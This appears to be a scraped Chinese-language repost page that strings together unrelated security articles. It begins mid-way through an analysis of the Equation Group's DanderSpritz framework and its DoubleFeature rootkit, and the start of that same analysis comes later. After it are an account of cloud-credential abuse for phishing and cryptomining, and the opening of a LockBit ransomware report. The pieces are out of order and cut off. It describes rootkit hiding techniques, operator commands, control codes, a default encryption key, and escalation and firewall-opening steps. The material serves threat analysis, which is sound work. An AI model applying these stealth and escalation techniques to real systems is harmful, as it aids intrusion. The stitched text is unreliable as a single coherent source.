114 – Elby loader – fhsvcapi.dll – 6156E50571571B233019C4EBB472899D；

115 – Elby driver – AAA8999A169E39FB8B48AE49CD6AC30A；

DiveBar並不局限於濫用ElbyCDIO.sys，它還會搜索受害者設備上已經存在的易受攻擊的良性驅動程序，以用作託管插件代碼的“啟動器”。在內部，這種被DiveBar 選擇來啟動KillSuit 實例的良性驅動程序被稱為“thunk”。對於每個KillSuit 實例，DoubleFeature 都會報告用於加載其內核模式模塊的thunk 漏洞利用dll，簡稱KML（內核模塊啟動器）。

FlewAvenueFlewAvenue(FlAv)是一個IPv4驅動程序，為其他工具提供隱蔽的網絡訪問。它提供了不同的網絡功能，如DNS查詢和ICMP 回顯（“ping”）。

FlewAvenue 的指標如下：

“ntevt.sys”——此工具驅動程序的名稱

DuneMessiahDoubleFeature 診斷僅提供有關此工具的非常少的信息。對於此工具，DoubleFeature 報告了受害設備上的實例在內部使用的偽隨機生成的“事件名稱”，以及一些註冊的KillSuit 實例。

CritterFrenzyDoubleFeature 也僅報告有關此插件的最少信息，從DoubleFeature收集到的關於這個工具的信息來看，它似乎是KillSuit的另一個實例，可能是過去使用過，ID為333。

CritterFrenzy 指標如下：

“MPDKH32”——此工具的名稱

MistyVealMistyVeal (MV) 是一種“驗證器”植入程序，這意味著它用於驗證目標系統確實是真正的受害者，而不是檢測環境。它作為Internet Explorer 瀏覽器助手對象實現（這些通常用於擴展IE 功能；例如，Adobe 的IE 的Acrobat 插件就是一個瀏覽器助手對象）。 MistyVeal 也是Equation Group 最初的“Double Fantasy”植入程序的一部分，它是UnitedRake 的前身“netdlr.sys”——該工具驅動程序的名稱

MistyVeal指標如下所示：

{B812789D-6FDF-97AB-834B-9F4376B2C8E1} ——用於GUID和版本的MV CLSID

DiceDealerDiceDealer (DD) 是DiveBar 執行的所有安裝和卸載所產生的日誌數據的解析工具（這與UnitedRake有關，因為通常使用DiveBar來安裝它）。如果你想手動解析DiceDealer 日誌文件，最簡單的方法是將日誌文件複製到DiceDealerReader 工具所在的同一目錄中。讀取器依賴於該目錄中的幾個文件，如果它們不存在，將無法解析日誌。

PeddleCheapPeddleCheap ****(PC) 是最先在受害設備上運行的工具之一，可用於引導一次完整的DanderSpritz 安裝。 PeddleCheap 包含的功能非常少，允許攻擊者連接到受害設備並遠程安裝和配置允許進一步post-exploitation功能的植入程序，包括一個完整安裝DanderSpritz 框架。 PeddleCheap 通常通過多種方法注入到lsass.exe中，包括DOUBLEPULSAR 後門。

19.webp.jpg

PeddleCheap 用戶界面

PeddleCheap 指標如下：

{A682FEC0-333F-B16A-4EE6-24CC2BAF1185}——用於GUID和版本的PC CLSID

DoubleFeature 的Rootkit 控制流程

DoubleFeature (hidsvc.sys) 使用的rootkit 在加載時執行以下操作：

1.它創建了一個未命名的設備對象，但註冊了IRP 調度功能。

2.它分派IOCTL 請求。

3.它專門從事Windows 內核代碼的運行時修復。

4.它為用戶模式模塊運行內核API。

Rootkit 在加載到內存之前由用戶模式DLL 修復，這樣做是為了插入用戶模式進程的PID，以便rootkit 知道要隱藏哪個進程。然後，rootkit 通過KeAttachProcess 附加到這個相同用戶模式進程中。

Rootkit 使用HalAllocateCommonBuffer 或MmIsAddressValid 查找API 函數的動態地址（這些函數的地址是之前通過調用MmGetSystemRoutineAddress 獲得的）。它使用加密的堆棧字符串，這些字符串在需要使用的基礎上解密，並在使用後再次立即加密，類似於我們之前描述的DoubleFeature 用戶模式組件中使用的方法。

為了避免被檢測到，rootkit 還會盡可能隱秘地創建自己的驅動程序對象。首先，rootkit 不是直接創建對象，而是先創建Device\\NULL 的句柄，然後通過插入自己的名稱為driver\\msvss 的設備對象來劫持其FileHandle。最後，它使用此FileObject 發送IRP_MJ_Create 請求以獲得新創建的驅動程序對象的句柄。其次，rootkit 調用ObMakeTemporaryObject 並從其父對像管理器目錄中刪除對象的名稱，有效地將其與操作系統內部用於跟踪加載的驅動程序的結構斷開鏈接。由於Windows 操作系統處理驅動程序的方式，這會導致驅動程序在後台運行，而診斷工具和研究人員將無法找到驅動程序。

新設備的IRP_MJ_DEVICE_CONTROL 處理程序函數包含可以從用戶模式DLL 發送的不同IoControl 代碼（例如0x8589240c 用於截斷文件，0x85892408 用於在內核模式下執行API 調用並將輸出發送回用戶模式進程）。

HireHackking

01.png

今年早些時候，Check Point Research發表了一篇關於“Jian”的文章。在這篇文章中，我們介紹了DanderSpritz框架。

DanderSpritz是什麼?DanderSpritz是Equation Group使用的一個功能齊全的開發後框架。這個框架通常是在利用設備並部署了PeddleCheap之後使用的。 DanderSpritz是非常模塊化的，包含各種各樣的工具，用於持久性、偵察、橫向移動、繞過防病毒引擎和其他此類可疑活動的各種工具。 DanderSpritz 結構和執行流程

在“Lost in Translation”洩漏的目錄樹中，可以發現DanderSpritz邏輯被分為兩部分：

1.png

dderspritz的核心功能包含在文件DszLpCore.exe中，該文件可以在windows/bin中找到。框架的插件和復雜組件，包括我們稍後將詳細討論的DoubleFeature，可以在windows/resources中找到。 fuzzbunch、implants 和windows 下的其他目錄包含獨立於DanderSpritz 的模塊，用於利用自身、控制受害者係統、初始數據收集等。

DanderSpritz 中的基本邏輯單元就是我們所說的“插件”，駐留在windows/resources中，大約有十幾個，它們有一個非常特定的目錄結構。

windows\\resources 下還有一些其他目錄，它們不是插件，而是包含各種輔助腳本。

2.png

Aliases和Commands：它們都包含聲明支持““aliases” 和“commands”的XML 文件，它們分別提供類似的功能。當DanderSpritz 框架的用戶發出一個shell 命令，DanderSpritz 將遍歷每個插件，檢查這些XML 並驗證他們是否聲明支持用戶輸入的shell 命令。如果命令出現在Aliases 下，它將被簡單地映射到現有腳本；命令通常會在幕後以某種方式調用插件的內部邏輯。這實際上意味著DanderSpritz 的用戶可以運行許多不同的shell 命令來實現不同的結果。在Commands（但不是Aliases ）下，除了XML 之外，還有一個XSL 文件，它指定返回給DanderSpritz 用戶的命令輸出的格式。

Modules：大部分插件邏輯都包含在這個目錄中。從名稱可以看出，該邏輯被進一步劃分為更小的功能“模塊”。 descriptions子目錄包含一個XML 文件，它是一種“manifest”。它詳細說明了應該在受害者設備和“LP”（“Listening Post”，攻擊者控制的遠程監控受害者的設備）上運行哪些腳本和二進製文件。它還列出了插件對其他模塊的依賴、它的接口數據、它支持的計算架構以及它應該在受害設備上還是在LP 上運行。一些插件還包含具有類似功能的有效載荷目錄。

PyLp：包含XML 文件，用於格式化從受害者設備中洩露的傳入信息。對於每種“消息類型”（一種洩露的信息），XML 指定一個Python 腳本，用於格式化數據以方便顯示。此格式化腳本位於PyScripts 目錄中。

PyScripts：框架使用的所有雜項Python 腳本都在此目錄中。

Scripts：這個目錄還包含雜項腳本，這些腳本是用一些重印記的腳本語言編寫的，在Python 崛起之前，這些腳本語言似乎可以合理使用。

Tools：開發者認為他們寧願按原樣包含和調用的自包含材料（PE、DLL、腳本、JAR、文本文件等）。

Uploads：由插件推送到受害者係統的獨立二進製文件。

Version：包含一個包含插件版本的XML 文件。

下面我們詳細介紹調用插件Aliases或Commands時的典型控制流程。

DanderSpritz 用戶在DanderSpritz 用戶界面中輸入一個shell 命令，該命令在幕後使用該特定插件實現。

3.webp.jpg

DanderSpritz 的用戶界面及其shell 命令

1.DanderSpritz 的主要邏輯遍歷resources目錄，一個接一個地查看插件目錄。對於每個插件目錄，DanderSpritz 查看aliases 子目錄和commands 子目錄，並仔細檢查其中的XML 文件，尋找與shell 命令匹配的聲明的導出功能。找到匹配項，並且匹配的XML 元素指定插件的pyscripts 目錄中的路徑。

2.DanderSpritz 計算調用腳本的完全限定路徑（通過將匹配的XML 元素中指定的路徑附加到插件的pyscripts 目錄的路徑）並執行該文件。這是顯示調用的shell命令的用戶界面的位置，插件可以說是正常運行的。

3.現在，攻擊者可以隨時盯著他們調用的工具的UI。最終，他們可能希望通過此UI 調用某些功能。根據選擇的功能，Python UI 構造一個遠程進程調用。它將此RPC 發送到受害設備上的DanderSpritz 組件。受害者端的這個組件然後執行調用並返回結果。這樣，RPC 就被用作LP 上的組件訪問的API，以在受害設備上執行操作（例如收集屏幕截圖或錄製語音）。此API 與這些操作在受害組件端實際實現的方式分離。

4.RPC 返回攻擊者所需的寶貴信息，Python UI 在插件的PyLP 目錄中查詢與結果的消息類型匹配的XML。這個XML 指定瞭如何在LP 端顯示返回的信息，UI 也是如此。

4.png

特定命令的XML 文件（LP 和Target）示例

DoubleFeature為了更好地理解上述結構和流程，我們將研究重點放在了DanderSpritz 的一個名為Doublefeature（簡稱Df）的組件上。根據它自己的內部文檔，這個插件“生成關於可以部署在目標上的工具類型的日誌和報告”；許多框架工具，在它們自己的內部文檔中，聲稱DoubleFeature是唯一的方法來確認他們在一個被破壞的系統上的存在。經過一段時間的停頓，我們認為至少這意味著DoubleFeature 可以用作一種Rosetta Stone，以更好地理解DanderSpritz 模塊和受其影響的系統。

5.webp.jpg

strangeland.py 的代碼指的是確認的唯一方法是使用DF

不幸的是，由於DoubleFeature 作為日誌模塊的獨特功能，它收集了大量各種類型的數據。 RPC 返回值和XSL 標記不適合在這種規模上傳輸和顯示信息。

6.webp.jpg

DoubleFeature 主菜單

DoubleFeature PyScripts目錄包含Python的UI界面(doublefeature.py)，但是當攻擊者從UI 菜單中選擇一個選項時，在幕後，腳本會變成一個“模板”DLL，DoubleFeatureDll.dll.unfinalized ，位於插件的上傳目錄中。 Python 調用插件工具目錄中的外部工具AddResource.exe ，將資源植入已編譯的DLL，使用新名稱：DoubleFeatureDll.dll.configured。確切的命令運行是：

*localrun-redirectcommand'cmpf61104'*'命令使用的標誌解釋如下。

c (compressed) ——Zlib 壓縮數據；

m (munge)=通過與偽隨機字節異或來混淆資源。字節是通過運行PRNG（32 位LCG）並使用執行時間戳作為種子生成的；為了允許恢復，種子被添加到混淆的資源中；

p (place)=將資源放入homebrew資源目錄；

f (finalize)=私有資源目錄；

6=資源類型（此時，枚舉值6 轉換為RT_STRING，一個字符串表條目）；

1104=資源名稱。

在主插件DLL ** 被賦予這個新資源後，Python UI 使用DanderSpritz dllload shell 命令將其加載到受害設備上：

dllload -ordinal 1 -library

一旦受害者端的DLL 完成運行並將報告寫入受害者設備上的日誌文件，Python UI 就會使用以下DanderSpritz shell 命令將日誌文件提取回攻擊者設備：

foregroundget-nameDFReport雖然DanderSpritz 命令的大部分輸出是根據XSL 規範查看的，但DoubleFeature 的輸出太大且變化太多，因此這種方法不可行。相反，攻擊者通常使用為此目的編寫的專門程序——DoubleFeatureReader.exe，查看日誌文件，該程序可以在插件的工具目錄中找到。

DoubleFeature 將其所有日誌數據寫入名為~yh56816.tmp 的調試日誌文件嗎，此日誌文件使用AES 算法加密。除非用戶手動更改密鑰，否則使用的默認密鑰是badc0deb33ff00d。

DoubleFeature 的主DLL當修復的DLL ( DoubleFeatureDll.dll.configured ) 首次加載到受害設備上時，它會在自製軟件資源目錄中查找名為“106”的資源。該目錄位於實際代碼之後的“.text”部分，DLL 能夠通過搜索不同的魔法值來找到它。 homebrew 資源目錄具有以下結構：

7.png

這個資源(與之前通過調用AddResource.exe移植到DLL的資源不同)在靜止狀態下是加密的，為了使用它，必須對它進行解密和解壓縮。

8.png

資源106 解壓縮後，是一個名為hidsvc.sys 的驅動程序。它通過調用CVE-2017-0005 的EpMe 漏洞加載到內核中。加載驅動程序後，DLL 開始使用DeviceIoControl 與其通信。驅動程序支持的最有趣的IOControlCode 是0x85892408，它允許用戶模式代碼通過簡單地指定功能名稱和參數來直接調用內核功能。驅動程序希望使用此代碼的傳入消息與以下結構捆綁在一起：

9.png

在接收到這個結構體後，驅動程序遍歷ntoskernl.exe 的每個導出函數，計算結果校驗和並將結果與提供的export_func_hash 進行比較。一旦找到匹配項，驅動程序就會得出結論，它已找到正確的函數。這是混淆API 調用的標準方法，在許多其他惡意軟件中都可以看到。

校驗和計算邏輯如下所示：

10.png

一些校驗和值示例：

11.png

這還不是唯一的困難，DoubleFeature 中使用的字符串是解密的，這本身就是非常標準的，但按需對每個函數進行解密，一旦函數執行完成，它們就會重新加密，這比平常更令人沮喪，DoubleFeature 還支持其他混淆方法，例如簡單的替換密碼：

12.png

以及一個基於簡單自製線性PRNG的流密碼：

13.png

如上所述，憑藉其函數，DoubleFeature 是與Equation Group工具相關的唯一知識來源。畢竟，整個日誌記錄模塊依賴於在受害系統上查詢這些工具並驗證哪些工具存在的能力。下面我們列出了日誌模塊探測到的一些工具，其中一些是未知的。

除了在DLL 的執行流程中使用的資源106 和1104 外，主DLL 的homebrew資源目錄還包含以下資源：

資源1004：UnitedRake 重新啟動DLL。

資源1005：UnitedRake 關閉DLL。

資源1006：StraitBiZarre 重新啟動DLL。

資源200：與BCD 分區數據進行比較的已知引導管理器的哈希值。

資源1007：升級KillSuit 模塊DLL，在代碼中可以找到對它的引用，但在目錄中不再物理找到它。可能它存在於DLL 的早期版本中，後來被刪除了。

DoubleFeature 監控的插件UnitedRakeUnitedRake (UR) 是一種遠程訪問工具，可用於針對Windows 設備。它是一個可擴展的模塊化框架，提供了大量執行不同信息收集功能的插件。

UnitedRake 指標如下：

1.MSNDSRV.sys：內核模式階段0 和rootkit。實現用於過濾網絡流量的NDIS 驅動程序。直到UR 4.0 版。

2.ATMDKDRV.sys ：網絡嗅探器/修復程序。從UR 4.1 版開始。

3.“Software\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2109}\TypeLib” or “\Registry\Machine\SOFTWARE\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2209}\TypeLib”：包含UR 的GUID，特殊項註冊表項

4.“\Registry\Machine\System\CurrentControlSet\Control\Session Manager\MemSubSys\{95FFB832-8B00-6E10-444B-DC67CAE0118A-F6D58114}”：KillSuit記錄與註冊表相關的數據。

5.“Global\64322D88-0CEA-4ce0-8562-67345B70C655”：在TipOff 命令中創建的文件映射。

6.“*Global\*6F27089A-3482-4109-8F5B-CB3143A1AB9A” 和“*Global\*667FBF02-F406-4C0A-BA65-893747A0D372”：在UR 關閉時創建的事件。

7.{A0CCDC61-7623-A425-7002-DB81F353945F-5A8ECFAD}： UnitedRake 3/4 配置數據和傳輸信息CLSID；

8.{30F3976F-90F0-B438-D324-07E031C7507E-981BE0DD}：UnitedRake 插件信息CLSID；

9.{95FFB832-8B00-6E10-444B-DC67CAE0118A-F6D58114}：UnitedRake 記錄數據CLSID；

10.{01C482BA-BD31-4874-A08B-A93EA5BCE511} ：UnitedRake 的互斥鎖名稱。

StraitBizarreStraitBizarre (SBZ) 是一種用於隱秘數據洩露的植入程序，它通過FriezeRamp 執行——一種類似於IPSEC 的自定義網絡協議。這是一個跨平台項目，存在支持Windows、Linux 和移動平台的不同版本（例如iPhone 的DROPOUTJEEP，甚至Windows Mobile 的TOTEGHOSTLY）。

14.webp.jpg

StraitBizzare 信息

我們在DoubleFeature 中發現了以下StraitBizarre 指標：

{1B8C5912-8BE4-11D1-B8D3-F5B42019CAED}：用於GUID，版本和特殊狀態項的SBZ CLSID。

HireHackking

Cloud-21-illustration_orange.png

雲洩露通常源於配置錯誤的存儲服務或暴露的憑據，越來越多的攻擊專門針對雲計算服務，以竊取相關憑據並非法訪問云基礎設施。這些攻擊的目的就是使目標組織付出經濟或其他方面的代價。

本文重點介紹了兩個雲計算憑據被攻擊的示例。雖然初始訪問階段很重要，但我們將重點關注攻擊期間執行的攻擊後操作，並分享這兩種針對雲基礎設施的攻擊流程。攻擊流程顯示了攻擊者如何濫用竊取的計算憑據來尋找各種攻擊方法(如加密挖掘、數據竊取等)，並以意想不到的方式濫用雲服務。

為了檢測下面描述的攻擊，由Amazon Web Services (AWS)和Google cloud概述的雲日誌記錄和監控最佳實踐是必不可少的，因為它們提供了對雲基礎設施級別活動的可見性。這強調了遵循Amazon Web Services和Google Cloud日誌記錄和監控最佳實踐的重要性。

Palo Alto Networks通過Cortex XDR for cloud和Prisma cloud幫助組織解決雲安全問題，Cortex XDR for cloud可檢測雲計算憑據被盜等雲攻擊，Prisma cloud以最少的權限管理身份授權。

雲工作的關鍵原則在深入研究之前，我們應該了解在雲計算中工作的一個非常基本和重要的規則。實體(無論是人還是計算工作負載)都需要合法和相關的憑據才能在基礎設施級訪問云環境。憑據用於身份驗證(驗證實體的標識)和授權(驗證實體被允許做什麼)。

作為一種最佳實踐，當計算工作負載在雲中執行API調用(例如，查詢存儲服務)時，工作負載的相關憑據應該僅專用於它。它們還應該僅供該工作負載或人員使用，而不能供其他任何人使用。

正如我們將在這兩個示例中看到的，有助於降低雲計算憑據攻擊風險的一個重要安全原則是最低權限訪問。特別是，這意味著與這些憑據相關聯的權限應該縮小到使用它們的代碼實際所需的最小權限集。這限制了攻擊者在計算憑據被盜用時可以採取的行動。

攻擊示例1：AWS Lambda憑據受攻擊導致網絡釣魚攻擊攻擊者可以通過竊取Lambda的憑據來執行代表Lambda函數的API調用，這允許攻擊者可以在雲環境中執行多個API調用並枚舉不同的服務，如下圖所示。雖然由於缺乏權限，大多數API調用都不被允許，但該攻擊導致了由攻擊者創建的AWS簡單電子郵件服務（SES）發起的網絡釣魚攻擊。

1.png

攻擊者使用受攻擊的Lambda函數的憑據枚舉雲環境

這種網絡釣魚攻擊不僅給組織帶來了意想不到的成本，也使其他組織面臨額外的風險。

在本示例中，受害者沒有活躍的SES，如果有，攻擊者可能會濫用它來對受害者的組織發起攻擊，或者他們甚至可以使用合法的電子郵件帳戶進行網絡釣魚攻擊。

由於組織使用的雲服務種類繁多，因此很難預測雲攻擊將在何處結束。從雲計算到網絡釣魚並不是只有一個實現方法。

攻擊流攻擊者能夠竊取Lambda的環境變量並將它們導出到攻擊設備(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN)。

當憑據被竊取後，攻擊者通過以下步驟發起攻擊：

WHOAMI - 2022-05-20T20:35:49 UTC攻擊從GetCallerIdentity命令開始，該命令相當於whoami，因為它提供了與憑據相關聯的實體的信息。從響應中，攻擊者可以獲得其他信息，例如被盜的帳戶ID和憑據類型。但是，它們不能確定與身份相關聯的任何權限。

IAM枚舉- 2022-05-20T20:35:55 UTC攻擊的下一個階段是身份和訪問管理(IAM)枚舉，IAM被認為是攻擊的最佳途徑。通過獲得對IAM的訪問權，攻擊者可以提升權限並獲得受害者帳戶的持久性。

IAM枚舉包括兩個API調用，由於缺乏權限而被拒絕：

ListAttachedRolePolicies

ListRolePolicies

可以假設，攻擊者註意到缺少權限，因此僅在兩個命令後終止IAM枚舉（可能是為了避免產生不必要的噪音）。

通用枚舉2022-05-20T20:39:59 UTC在枚舉IAM失敗後，攻擊者開始對不同區域的不同服務進行枚舉。這種技術的噪音很大，因為攻擊者試圖了解目標帳戶的體系結構，更重要的是，獲得可能存在於雲帳戶中的敏感信息的訪問權。

執行的一些主要服務和API調用包括：

存儲枚舉

ListBucketsGetBucketCorsGetBucketInventoryConfigurationGetBucketPublicAccessBlockGetBucketMetricsConfigurationGetBucketPolicyGetBucketTaggingEC2枚舉

GetConsoleScreenshotGetLaunchTemplateDataDescribeInstanceTypesDescribeBundleTasksDescribeInstanceAttributeDescribeReplaceRootVolumeTasks網絡枚舉

DescribeCarrierGatewaysDescribeVpcEndpointConnectionNotificationsDescribeTransitGatewayMulticastDomainsDescribeClientVpnRoutesDescribeDhcpOptionsGetTransitGatewayRouteTableAssociations日誌記錄枚舉

GetQueryResultsGetBucketLoggingGetLogRecordGetFlowLogsIntegrationTemplateDescribeLogGroupsDescribeLogStreamsDescribeFlowLogsDescribeSubscriptionFiltersListTagsLogGroup備份枚舉

GetPasswordDataGetEbsEncryptionByDefaultGetEbsDefaultKmsKeyIdGetBucketReplicationDescribeVolumesDescribeVolumesModificationsDescribeSnapshotAttributeDescribeSnapshotTierStatusDescribeImagesSES枚舉

GetAccountListIdentities通用枚舉

DescribeRegionsDescribeAvailabilityZonesDescribeAccountAttributes後門2022-05-20T20:43:22 UTC在枚舉IAM失敗時，攻擊者試圖通過執行CreateUser命令創建一個新用戶(未成功)。

從雲計算到網絡釣魚攻擊2022-05-20T20:44:40 UTC由於枚舉期間的大多數API調用導致權限被拒絕，因此攻擊者能夠成功枚舉SES。因此，攻擊者通過濫用雲電子郵件服務發起了釣魚攻擊，其中包括執行VerifyEmailIdentity和UpdateAccountSendingEnabled等命令。

逃避檢測2022-05-20T23:07:06 UTC最後，攻擊者試圖通過執行DeleteIdentity命令刪除SES標識來隱藏他的一些活動。

其他情況分析此攻擊的一個非常重要的攻擊指標（IoC）是IP地址50.82.94[.]112。

來自Lambda函數的API調用通常使用為Lambda生成的憑據（包括AccessKeyId）從其IP執行。因此，具有該AccessKeyId的每個API調用都被認為是Lambda函數。然而，在攻擊過程中，攻擊者能夠竊取Lambda的憑據，從而允許攻擊者冒充Lambda。

因此，IP是關鍵的IoC，因為它是檢測冒充Lambda的方法。攻擊者使用竊取的憑據來模擬和執行代表Lambda函數的API調用，但是他們是從一個未連接到Lambda的IP地址執行的，該IP地址也不屬於雲環境。

攻擊示例2：部署加密挖礦的Google Cloud應用程序引擎服務帳戶受攻擊攻擊者能夠竊取Google Cloud應用程序引擎服務帳戶(SA)的憑據，攻擊者有許多方法可以實現這一點，這些方法不一定與雲服務提供商中的任何漏洞有關。例如，在許多示例中，用戶將憑據存儲在不安全的位置，或者使用容易猜到或強行設置的密碼。

在本示例中，被盜竊的SA是默認SA，它具有高權限的角色(項目編輯器)。這允許攻擊者發起攻擊，最終創建了多個用於加密挖掘的核心CPU虛擬機（VM），如下圖所示。

2.png

攻擊者濫用受攻擊的App Engine SA來分配多個雲示例進行竊取攻擊

當攻擊者在受害者的環境中啟動數千個虛擬機時，將顯著增加其預期成本。即使有人在短時間內註意到在他們的環境中發生了這樣的攻擊，它仍然會產生嚴重的攻擊後果。

攻擊流谷歌應用引擎是Google Cloud完全管理的無服務器平台，服務賬戶是令牌。當用戶創建一個App Engine示例時，雲提供商創建一個默認SA，並將其附加到創建的App Engine上。

此應用程序引擎默認SA在項目中具有編輯功能。編輯器具有很高權限，這是攻擊者能夠發起攻擊的關鍵，編輯器允許執行高權限的API調用，例如：

啟動計算工作負載；

FW (Firewall)規則修改；

創建SA密鑰；

權限升級2022-06-16T12:21:17.624 UTC這次攻擊一開始是為了升級權限。如上所述，默認情況下，應用程序引擎的SA對項目具有編輯權限。憑藉這些權限，攻擊者試圖通過將以下對象添加到IAM策略中來添加計算/管理功能：

3.png

正如我們所看到的，SA域前綴中的appspot表示該SA屬於App Engine服務。

允許任何2022-06-16T12:21:29.406 UTC接下來，攻擊者修改了項目級別的FW規則。首先，攻擊者試圖創建一個子網（名為default）。然後，攻擊者將以下規則添加到該子網中：

4.png

此操作進一步推進了攻擊者挖掘加密貨幣的目標，為了實現無限制的加密貨幣挖掘，攻擊者刪除了對網絡級別的任何限制。

注意優先級字段是很重要的。通過將其設置為零，攻擊者的規則被設置為最高優先級，這意味著它將按照現有FW規則的順序首先生效。

挖礦攻擊2022-06-16T12:21:38.916 UTC安裝完成後，攻擊的主要階段就開始了，在多個區域啟動虛擬機。

雖然攻擊者可以創建高CPU設備，但在本示例中，攻擊者反而創建了一個配備了四個高性能GPU(例如nvidia-tesla-p100)的標準虛擬機(例如n1-standard-2)：

5.png

總的來說，在這次攻擊中創建了超過1600個虛擬機。

後門2022-06-16T13:25:56.037 UTC攻擊者假設用於攻擊的SA密鑰會被檢測到並被刪除，因此通過執行google.iam.admin.v1.CreateServiceAccountKeyAPI調用創建了多個SA密鑰供以後使用。

其他情況分析就像我們討論的第一個示例一樣，IP是一個重要的IoC。在這種情況下，攻擊是從多個IP（總共九個不同的IP）發起的，其中一些是活動的Tor出口節點。

同樣，我們希望從雲環境中的IP使用App Engine的SA，它絕對不應該從Tor出口節點使用。

修改防火牆規則是此類攻擊中常用的技術，許多組織強制執行拒絕訪問活動挖礦池的網絡流量規則，因此攻擊者必須修改防火牆規則來實現他們的目標。

最後，通過編輯名為default的網絡，攻擊者試圖逃避檢測。除非禁用此選項，否則默認情況下，將使用默認網絡創建每個新項目。攻擊者似乎試圖利用這一點，從而避免創建自己的網絡。

總結：竊取計算令牌是一個日益嚴重的威脅竊取計算工作負載的令牌是上述兩個攻擊示例的共同點，雖然上述兩個示例都涉及無服務器服務，但此攻擊向量與所有計算服務都相關。

需要強調的是，這種類型的攻擊可能來自不同的攻擊路徑，包括應用程序漏洞或零日漏洞(如Log4Shell)，而不僅僅來自錯誤配置或糟糕的雲安全態勢管理(CSPM)。

為了處理此類攻擊，雲審計日誌對於檢測和調查與響應(IR)都至關重要。對於無法安裝代理的無服務器工作負載，雲審計監控更為關鍵，因此更難阻止此類攻擊。

AWS和Google Cloud提供的日誌記錄和監控最佳實踐為如何防止此類情況提供了明確的指導。 AWS GuardDuty服務還可以幫助檢測和警告類似的攻擊，例如從另一個AWS帳戶使用的EC2示例憑據。另一種預防方法是為Lambda配置接口端點策略，限制Lambda僅在VPC內使用。

Palo Alto Networks的用戶可以通過以下方式免受計算令牌盜竊Cortex XDR for cloud，通過將來自云主機、雲流量和審計日誌的活動與端點和網絡數據集成，為安全團隊還原完整事件過程。

Prisma Cloud幫助組織管理身份授權，解決了在雲環境中管理IAM的安全挑戰。 Prisma Cloud IAM安全功能自動計算跨雲服務提供商的有效權限，檢測過度許可的訪問，並建議獎權限降到最低。

了解如何使用Unit 42雲事件響應服務(用於調查和響應攻擊)和網絡風險管理服務(用於在攻擊發生前評估你的安全態勢)，從而保護組織免受雲環境攻擊。

HireHackking

封面图.jpg

1 前言2016年前後，勒索攻擊的主流威脅形態已經從勒索團伙傳播擴散或廣泛投放勒索軟件收取贖金，逐漸轉化為RaaS+定向攻擊收取高額贖金的運行模式。 RaaS為Ransomware as a Service（勒索即服務）的縮寫，是勒索團伙研發運營的勒索攻擊基礎設施，包括可定制的破壞性勒索軟件、竊密組件、勒索話術和收費通道等。各種攻擊團伙和個人租用RaaS攻擊基礎設施，在獲得贖金後，與RaaS攻擊組織分賬結算。在眾多勒索攻擊組織中，LockBit組織最為活躍，從其公佈的數據顯示，LockBit的RaaS支撐了上千起的攻擊活動，並因一例涉及中資企業海外機構案例被國內外廣泛關注。

為有效應對RaaS+定向勒索風險，防御者需要更深入地了解定向勒索攻擊的運行機理，才能構建有效的敵情想定，針對性的改善防禦和響應能力。因此，擇取典型案例，對此類攻擊進行深度复盤極為重要。但由於相關涉我案例的分析支撐要素並不成熟，安天CERT在其他近期重大攻擊案例中進行了篩選，選擇了同樣與LockBit組織相關，且可參考信息相對豐富的波音公司遭遇定向勒索攻擊事件（以下簡稱本事件）展開了完整復盤分析。安天CERT長期關注和分析勒索攻擊，對LockBit等攻擊組織的持續關注，形成了較為系統的分析積累，依托安天賽博超腦平台的情報數據，CISA等機構對本事件公佈的相關公開信息展開工作。從攻擊過程還原、攻擊工具清單梳理、勒索樣本機理、攻擊致效後的多方反應、損失評估、過程可視化复盤等方面開展了分析工作，並針對事件中暴露的防禦側問題、RaaS+定向勒索的模式進行了解析，並提出了防禦和治理方面的建議。

2 事件背景和報告形成的過程2023年10月下旬，波音公司成為了RaaS+定向勒索攻擊的受害者[1]。由於LockBit是通過RaaS模式運營的攻擊組織，本次攻擊事件的實際攻擊者暫時無法確認。 2023年10月27日，LockBit所屬的受害者信息發布平台發消息聲稱竊取了波音的大量敏感數據，並以此脅迫波音公司，如果不在2023年11月2日前與LockBit組織取得聯繫，將會公開竊取到的敏感數據。此後，波音一度從受害者名單中消失，直至11月7日，LockBit組織再次將波音公司列入受害者名單中，並聲稱波音公司無視其發出的警告，威脅要發布大約4GiB的數據。可能因雙方談判失敗，LockBit組織於11月10日公開發布了從波音公司竊取到的21.6 GiB數據（媒體報導為43 GiB，系重複計算了壓縮包和展開後的數據）。

安天長期持續跟踪和響應了從勒索軟件傳播到定向勒索攻擊的活動演進。在歷史分析成果中，對“勒索軟件和蠕蟲的合流”、“定向勒索將接近APT攻擊水準”等，都發出了風險預警（參見附錄四）。針對LockBit的本次攻擊波，安天於11月17日以《LockBit 勒索软件样本分析及针对定向勒索的防御思考》 [2]為題，發布了本報告的V1.0版。由於當時缺少相對豐富的信息，在技術層面僅展開了樣本分析工作，並未進行攻擊過程复盤。波音公司被勒索攻擊之後，美國網絡安全和基礎設施安全局（CISA）對事件進行了取證調查，並於2023年11月21日發布了相關報告[3]，相關報告給出了高質量的形式化情報，為分析复盤攻擊事件提供了極為重要的參考，我們結合歷史工作積累其他開源情報和對本報告進行完善。

3 LockBit攻擊組織的歷史情況和部分歷史攻擊事件3.1 組織基本情況LockBit組織最早於2019年9月被發現，因其加密後的文件名後綴為.abcd，而被稱為ABCD勒索軟件；該組織在2021年6月發布了勒索軟件2.0版本，增加了刪除磁盤捲影和日誌文件的功能，同時發布專屬數據竊取工具StealBit，採用“威脅曝光（出售）企業數據+加密數據”雙重勒索策略；2021年8月，該組織的攻擊基礎設施頻譜增加了對DDoS攻擊的支持；2022年6月勒索軟件更新至3.0版本，由於3.0版本的部分代碼與BlackMatter勒索軟件代碼重疊，因此LockBit 3.0又被稱為LockBit Black，這反映出不同勒索攻擊組織間可能存在的人員流動、能力交換等情況。使用LockBit RaaS實施攻擊的相關組織進行了大量攻擊作業，通過第三方獲取訪問憑證、漏洞武器化和搭載其他惡意軟件等方式入侵至受害者係統後投放勒索軟件，大量受害者遭受勒索和數據洩露。

